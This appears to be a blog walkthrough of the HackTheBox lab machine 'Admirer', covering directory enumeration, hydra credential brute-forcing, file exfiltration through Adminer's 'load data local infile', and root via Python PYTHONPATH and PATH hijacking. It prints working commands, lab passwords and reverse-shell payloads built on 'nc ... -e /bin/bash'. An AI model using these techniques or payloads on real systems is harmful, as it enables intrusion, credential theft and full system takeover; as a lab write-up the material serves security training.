Home HackTheBox - Admirer
Post
Cancel
Preview Image

HackTheBox - Admirer

Overview

This machine begins w/ a web enumeration, discovering /admin-dir, containing credentials for FTP, FTP contains an archive of the web directory, revealing a directory utility-scripts that we did not discover earlier.

Directory enumerating utility-scripts directory, discovered adminer.php, adminer.php is susceptible to a file exfiltration vulnerability, allowing us to exfiltrate index.php containing MySQL credentials, allowing us to SSH as user waldo.

User waldo has a sudoers entry that allows waldo to use SETENV and run admin_task.sh as root. admin_task.sh is susceptible to a Python PATH Hijacking exploit, due to calling a python script (backup.py). backup.py is importing a library called shutil.py.

We are able to do Python PATH Hijacking by setting python path environment to /tmp where our malicious python script shutil.py resides, when admin_task.sh is executed, our malicious python library is called instead of the legitimate library, invoking a reverse shell, privilege escalating us to root.

If you wish to practice machines that are similar to this try:

  • TryHackMe Wonderland
  • TryHackMe Linux Agency
  • TryHackMe HackerOne Easy
  • HackTheBox FriendZone

ColumnDetails
Box NameAdmirer
IP10.10.10.187
Points20
DifficultyEasy
Creatorpolarbearer & GibParadox
Release Date02 May 2020

Recon

TCP/80 (HTTP)

  • FFUF
    1
    2
    3
    
      images                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 36ms]
      index.php               [Status: 200, Size: 6051, Words: 385, Lines: 154, Duration: 37ms]
      robots.txt              [Status: 200, Size: 138, Words: 21, Lines: 5, Duration: 35ms]
    
  • robots.txt
    1
    2
    3
    4
    5
    6
    
      ┌──(root💀kali)-[~/htb/admirer/10.10.10.187/loot]
      └─# curl http://admirer.htb/robots.txt
      User-agent: *
    	
      # This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
      Disallow: /admin-dir
    

Initial Foothold

TCP/80 (HTTP) - /admin-dir, creds found

  1. Directory enumerate /admin-dir/FUZZ
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
     ┌──(root💀kali)-[~/htb/admirer]
     └─# ffuf -u http://admirer.htb/admin-dir/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e '.txt,.html'
    	
      :: Method           : GET
      :: URL              : http://admirer.htb/admin-dir/FUZZ
      :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
      :: Extensions       : .txt .html
      :: Follow redirects : false
      :: Calibration      : false
      :: Timeout          : 10
      :: Threads          : 40
      :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
     ________________________________________________
    	
     contacts.txt            [Status: 200, Size: 350, Words: 19, Lines: 30, Duration: 40ms]
                             [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 36ms]
     .html                   [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 37ms]
     credentials.txt         [Status: 200, Size: 136, Words: 5, Lines: 12, Duration: 37ms]
     :: Progress: [661638/661638] :: Job [1/1] :: 1101 req/sec :: Duration: [0:10:09] :: Erro
    
    • credentials.txt
  2. Obtain credentials
    1
    2
    3
    4
    5
    6
    7
    8
    
     ┌──(root💀kali)-[~/htb/admirer/10.10.10.187/loot]
     └─# curl -s http://admirer.htb/admin-dir/credentials.txt |  grep -vP "\[\S+" | sed -z 's/\n\n/\n/g' | tee creds.txt
     w.cooper@admirer.htb
     fgJr6q#S\W:$P
     ftpuser
     %n?4Wz}R$tTF7
     admin
     w0rdpr3ss01!
    

Bruteforce w/ Creds found

  1. Bruteforce SSH w/ hydra
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
     ┌──(root💀kali)-[~/htb/admirer/10.10.10.187/loot]
     └─# hydra -L creds.txt -P creds.txt ssh://admirer.htb
     Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
    	
     Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-27 18:14:00
     [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
     [DATA] max 16 tasks per 1 server, overall 16 tasks, 36 login tries (l:6/p:6), ~3 tries per task
     [DATA] attacking ssh://admirer.htb:22/
     [22][ssh] host: admirer.htb   login: ftpuser   password: %n?4Wz}R$tTF7
    
    • ftpuser:%n?4Wz}R$tTF7
  2. Bruteforce FTP w/ hydra
    1
    2
    3
    4
    5
    6
    7
    8
    
     ┌──(root💀kali)-[~/htb/admirer/10.10.10.187/loot]
     └─# hydra -L creds.txt -P creds.txt ftp://admirer.htb
     Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
    	
     Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-28 01:08:55
     [DATA] max 16 tasks per 1 server, overall 16 tasks, 36 login tries (l:6/p:6), ~3 tries per task
     [DATA] attacking ftp://admirer.htb:21/
     [21][ftp] host: admirer.htb   login: ftpuser   password: %n?4Wz}R$tTF7
    
    • ftpuser:%n?4Wz}R$tTF7

TCP/22 (SSH) - Failed

  1. Failed to SSH, connection closes instantly
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
     ┌──(root💀kali)-[~/htb/admirer/10.10.10.187/loot/10.10.10.187/html]
     └─# sshpass -p '%n?4Wz}R$tTF7' ssh ftpuser@admirer.htb
     Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux
    	
     The programs included with the Devuan GNU/Linux system are free software;
     the exact distribution terms for each program are described in the
     individual files in /usr/share/doc/*/copyright.
    	
     Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
     permitted by applicable law.
     Last login: Tue Sep 27 19:05:38 2022 from 10.10.14.14
     Connection to admirer.htb closed.
    

TCP/21 (FTP) - Analyzing the files in FTP

  1. Download all files in FTP
    1
    2
    
     ┌──(root💀kali)-[~/htb/admirer/10.10.10.187/loot]
     └─# wget --no-passive -q -m --ftp-user="ftpuser" --ftp-password='%n?4Wz}R$tTF7' ftp://10.10.10.187:21
    
  2. View directory structure of FTP
    1
    2
    3
    4
    5
    6
    7
    8
    
     ┌──(root💀kali)-[~/htb/admirer/10.10.10.187/loot]
     └─# tree -a 10.10.10.187/
     10.10.10.187/
     ├── dump.sql
     ├── html.tar.gz
     └── .listing
    	
     0 directories, 3 files
    

    dump.sql does not contain any interesting information

  3. View directory structure of html
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    
     ┌──(root💀kali)-[~/htb/admirer/10.10.10.187/loot/10.10.10.187/html]
     └─# tree -d
     .
     ├── assets
     │   ├── css
     │   │   └── images
     │   ├── js
     │   ├── sass
     │   │   ├── base
     │   │   ├── components
     │   │   ├── layout
     │   │   └── libs
     │   └── webfonts
     ├── images
     │   ├── fulls
     │   └── thumbs
     ├── utility-scripts
     └── w4ld0s_s3cr3t_d1r
    	
     15 directories
    
    • index.php - Creds: waldo:]F7jLHw:*G>UPrTo}~A
    • assets - contains .css & .js files
    • images - contains .jpg files
    • utility-scripts - contains .php files w/ credentials
    • w4ld0s_s3cr3t_d1r - same as /admin-dir
  4. View directory structure of utility-scripts
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
     ┌──(root💀kali)-[~/htb/admirer/10.10.10.187/loot/10.10.10.187/html]
     └─# tree  utility-scripts
     utility-scripts
     ├── admin_tasks.php
     ├── db_admin.php
     ├── info.php
     └── phptest.php
    	
     0 directories, 4 files
    
    • admin_tasks.php - not vulnerable to any SQLi
    • db_admin - Creds: waldo:Wh3r3_1s_w4ld0?
    • info.php - not vulnerable
    • phptest.php - not vulnerable
  5. After obtaining more creds, hydra did not find any valid login.

TCP/80 (HTTP) - /utility-scripts, Found Adminer database management tool

  1. Directory /utility-scripts and the files residing in it exists, however, the .php files are not vulnerable.
  2. Directory enumerate /utility-scripts against big.txt
    1
    2
    3
    4
    5
    6
    7
    
     ┌──(root💀kali)-[~/htb/admirer/10.10.10.187]
     └─# ffuf -u http://admirer.htb/utility-scripts/FUZZ -w /usr/share/dirb/wordlists/big.txt -e '.txt,.php'
    	
     info.php                [Status: 200, Size: 83860, Words: 4033, Lines: 962, Duration: 43ms]
     info.php                [Status: 200, Size: 83860, Words: 4033, Lines: 962, Duration: 48ms]
     adminer.php             [Status: 200, Size: 4295, Words: 189, Lines: 52, Duration: 107ms]
     :: Progress: [13848/13848] :: Job [1/1] :: 1075 req/sec :: Duration: [0:00:12] :: Errors: 0 ::
    
    • adminer.php
  3. Found a login page @ adminer.php
  4. I knew exactly what to do because I exploited the same vulnerability in Vulnhub ReadMe

TCP/80 (HTTP) - Setup MySQL on Kali

  1. Install MySQL
    1
    2
    
     ┌──(root💀kali)-[~/vulnHub/ReadMe]
     └─# sudo apt-get install mariadb-server
    
  2. Authenticate
    1
    
     mysql 
    
  3. Create a user w/ all privileges on a database
    1
    2
    3
    4
    5
    6
    7
    8
    
     MariaDB [mysql]> CREATE USER 'yf'@'%' IDENTIFIED WITH mysql_native_password;
     Query OK, 0 rows affected (0.001 sec)
    
     MariaDB [mysql]> SET PASSWORD FOR 'yf'@'%' = PASSWORD('password');
     Query OK, 0 rows affected (0.001 sec)
    
     MariaDB [mysql]> GRANT ALL PRIVILEGES ON *.* TO 'yf'@'%';
     Query OK, 0 rows affected (0.000 sec)
    
  4. Enable local_infile on Kali’s MySQL Server
    1
    
     SET GLOBAL local_infile = true;
    
  5. Verify that local_infile is enabled
    1
    
     SHOW GLOBAL VARIABLES LIKE 'local_infile';
    

  6. Allow remote connections
    1
    2
    
     # Changed from 127.0.0.1 -> 0.0.0.0 
     nano /etc/mysql/mariadb.conf.d/50-server.cnf
    

  7. Proceed to adminer.php & login w/ yf:password

TCP/80 (HTTP) - Adminer data exfiltration

  1. Create a table exploit
  2. Proceed to SQL Command, populate the exploit table w/ data we want to exfiltrate
    • /etc/passwd
      1
      2
      
        # MySQL Query
        load data local infile '/etc/passwd' into table mysql.exploit fields terminated by "\n"
      

      • The open_basedir is a server configuration, a security measure to disallow file access.
      • /etc/passwd is not in the configured path
    • /var/www/html/index.php
      1
      2
      
        # MySQL Query
        load data local infile '/var/www/html/index.php' into table mysql.exploit fields terminated by "\n"
      

      • It worked!
      • This file is chosen because earlier, we saw that it contains credentials
  3. View exfiltrated file index.php
    • waldo:&<h5b~yK3F#{PaPB&dA}{H>

TCP/22 (SSH)

  1. Successfully SSH w/ waldo:&<h5b~yK3F#{PaPB&dA}{H>
    1
    2
    
     ┌──(root💀kali)-[~/htb/admirer/10.10.10.187/loot/10.10.10.187/html]
     └─# sshpass -p '&<h5b~yK3F#{PaPB&dA}{H>' ssh waldo@admirer.htb
    

Privilege Escalation

Root - Enumeration

  1. Check user waldo sudo access
    1
    2
    3
    4
    5
    6
    7
    
     waldo@admirer:~$ sudo -l
     [sudo] password for waldo:
     Matching Defaults entries for waldo on admirer:
         env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always
    	
     User waldo may run the following commands on admirer:
         (ALL) SETENV: /opt/scripts/admin_tasks.sh
    

    SETENV - Able to set $PATH environment, allowing us to do a PATH Hijacking exploit on executables/binaries that is called w/o their FULL PATH

  2. View admin_tasks.sh
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    
     #!/bin/bash
    	
     view_uptime()
     {
         /usr/bin/uptime -p
     }
    	
     view_users()
     {
         /usr/bin/w
     }
    	
     view_crontab()
     {
         /usr/bin/crontab -l
     }
    	
     backup_passwd()
     {
         if [ "$EUID" -eq 0 ]
         then
             echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
             /bin/cp /etc/passwd /var/backups/passwd.bak
             /bin/chown root:root /var/backups/passwd.bak
             /bin/chmod 600 /var/backups/passwd.bak
             echo "Done."
         else
             echo "Insufficient privileges to perform the selected operation."
         fi
     }
    	
     backup_shadow()
     {
         if [ "$EUID" -eq 0 ]
         then
             echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
             /bin/cp /etc/shadow /var/backups/shadow.bak
             /bin/chown root:shadow /var/backups/shadow.bak
             /bin/chmod 600 /var/backups/shadow.bak
             echo "Done."
         else
             echo "Insufficient privileges to perform the selected operation."
         fi
     }
    	
     backup_web()
     {
         if [ "$EUID" -eq 0 ]
         then
             echo "Running backup script in the background, it might take a while..."
             /opt/scripts/backup.py &
         else
             echo "Insufficient privileges to perform the selected operation."
         fi
     }
    	
     backup_db()
     {
         if [ "$EUID" -eq 0 ]
         then
             echo "Running mysqldump in the background, it may take a while..."
             #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
             /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
         else
             echo "Insufficient privileges to perform the selected operation."
         fi
     }
    

    All of the binaries called are called w/ their FULL PATH, PATH Hijacking is not possible, except the function backup_web() where a python script is called.

  3. View backup.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
     waldo@admirer:~$ cat /opt/scripts/backup.py
     #!/usr/bin/python3
    	
     from shutil import make_archive
    	
     src = '/var/www/html/'
    	
     # old ftp directory, not used anymore
     #dst = '/srv/ftp/html'
    	
     dst = '/var/backups/html'
    	
     make_archive(dst, 'gztar', src)
    

    Able to do Python PATH Hijacking

  4. What is Python Hijacking
    • Python code in one module gains access to the code in another module by the process of importing it.
    • If a module is imported, PYTHONPATH is responsible for telling python where is that specific module by checking for the directories defined in PYTHONPATH
    • Modules residing in the directory that the python script is executed supersedes/takes priority over the default python path.

Root - Exploiting admin_task.sh w/ SETENV (Python Path Hijacking)

  1. How do we exploit admin_task.sh?
    1. Since backup_web() is calling a python script (backup.py), we are able to do Python Path Hijacking.
    2. backup.py is importing shutil.py, specifically make_archive function
    3. Create a malicious python script called shutil.py that has a function make_archive(), containing malicious code, in a writable directory (/tmp)
    4. Execute admin_task.sh as root and set the python path to /tmp
    5. When backup_web() is called, backup.py will be executing our malicious python library.
  2. Exploiting admin_task.sh (Python Path Hijacking)
    1. View make_archive function in shutil.py
      1
      2
      3
      
       waldo@admirer:/tmp$ cat /usr/lib/python3.5/shutil.py | grep -A1 "make_archive("
       def make_archive(base_name, format, root_dir=None, base_dir=None, verbose=0,
                        dry_run=0, owner=None, group=None, logger=None):
      
    2. Create malicious python script make_archive
      1
      2
      3
      
       import os;
       def make_archive(base_name, format, root_dir=None, base_dir=None, verbose=0, dry_run=0, owner=None, group=None, logger=None):
           os.system("nc 10.10.14.14 4444 -e /bin/bash")
      
    3. Start netcat listener
      1
      2
      3
      4
      5
      
       ┌──(root💀kali)-[~/htb/admirer]
       └─# nc -nvlp 4444
       Ncat: Version 7.92 ( https://nmap.org/ncat )
       Ncat: Listening on :::4444
       Ncat: Listening on 0.0.0.0:4444
      
    4. Execute admin_task.sh as root and set python path to invoke reverse shell
      1
      
       waldo@admirer:/tmp$ sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh
      
  3. Demo - Exploiting admin_task.sh w/ SETENV (Python Path Hijacking)

Additional

Configure admin_task.sh to do regular Path Hijacking

  1. Edit admin_task.sh, view_uptime() function
    1
    2
    3
    4
    
     view_uptime()
     {
        uptime -p
     }
    
    • Remove its full PATH
  2. Create malicious bash script named uptime
    1
    2
    3
    
     #!/bin/bash
    	
     nc 10.10.14.14 4444 -e /bin/bash
    
  3. Make it executable
    1
    
     waldo@admirer:/tmp$ chmod +x uptime
    
  4. Execute admin_task.sh as root and set path to invoke reverse shell
    1
    
    sudo PATH=/tmp:$PATH /opt/scripts/admin_tasks.sh
    
  5. Demo - Regular Path Hijacking w/ SETENV

Configure PHP so that Adminer is able to load any file

  1. Earlier, we are restricted by open_basedir setting, it restricted us to only exfiltrating files in /var/www/html
  2. Remove /var/www/html from open_basedir setting so that we are able to exfiltrate any file
    1
    2
    3
    4
    5
    6
    7
    8
    
     root@admirer:/var/www/html/utility-scripts# nano /etc/php/7.0/apache2/php.ini
     ...
     ; open_basedir, if set, limits all file operations to the defined directory
     ; and below.  This directive makes most sense if used in a per-directory
     ; or per-virtualhost web server configuration file.
     ; http://php.net/open-basedir
     open_basedir =
     ...
    
  3. Restart apache2
    1
    2
    
     root@admirer:/var/www/html/utility-scripts# service apache2 restart
     Restarting Apache httpd web server: apache2.
    
  4. Exfiltrate /etc/passwd
    1
    2
    
     # MySQL Query
     load data local infile '/etc/passwd' into table mysql.exploit fields terminated by "\n"
    

  5. View exfiltrated file /etc/passwd
This post is licensed under CC BY 4.0 by the author.

HackTheBox - Magic

HackTheBox - Photobomb

Comments powered by Disqus.